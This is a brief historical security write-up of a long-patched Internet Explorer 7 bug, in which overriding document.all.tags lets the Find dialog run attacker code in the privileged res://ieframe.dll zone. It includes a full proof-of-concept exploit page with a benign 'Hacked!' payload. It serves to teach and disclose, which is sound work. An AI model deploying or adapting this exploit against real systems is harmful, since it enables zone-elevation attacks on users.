IE’s internal dialogs (Find, Print Preview, Properties, etc.) interact with the page’s document object — and since JavaScript can override that object and its members, those dialogs end up calling the attacker’s functions instead of the real ones. In this case, overriding document.all.tags causes the Find Dialog to call attacker-controlled code, which runs in the res://ieframe.dll zone.

<!-- find.html -->
<script language="JavaScript">
function openWindowAndFindDialog()
{
    winRES = window.open('res://ieframe.dll/dnserror.htm#http://www.google.com','RES_WINDOW');
    focus();
    frameElement.ExecWB(32,0);  // Open Find Dialog
}
var document = new Object();
document.all = new Object();
document.all.tags = function()
{
    if (!document.myFlag)
    {
        document.myFlag = 1;
        winRES.location = "javascript:document.body.innerHTML = '<h1>Hacked!</h1>';focus();";
    }
    return "";
}
</script>
<iframe style="display:none"></iframe>
<input type="button" value="button" onclick="openWindowAndFindDialog()">

The trick works because the Find Dialog iterates over document.all.tags("IFRAME") to count frames — and since we’ve replaced document entirely at the JS level, our function intercepts that call while executing in the ieframe.dll security context. This specific variant targets IE7; IE8 changed the Find Dialog enough that this exact path no longer applied, though the underlying principle remained.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.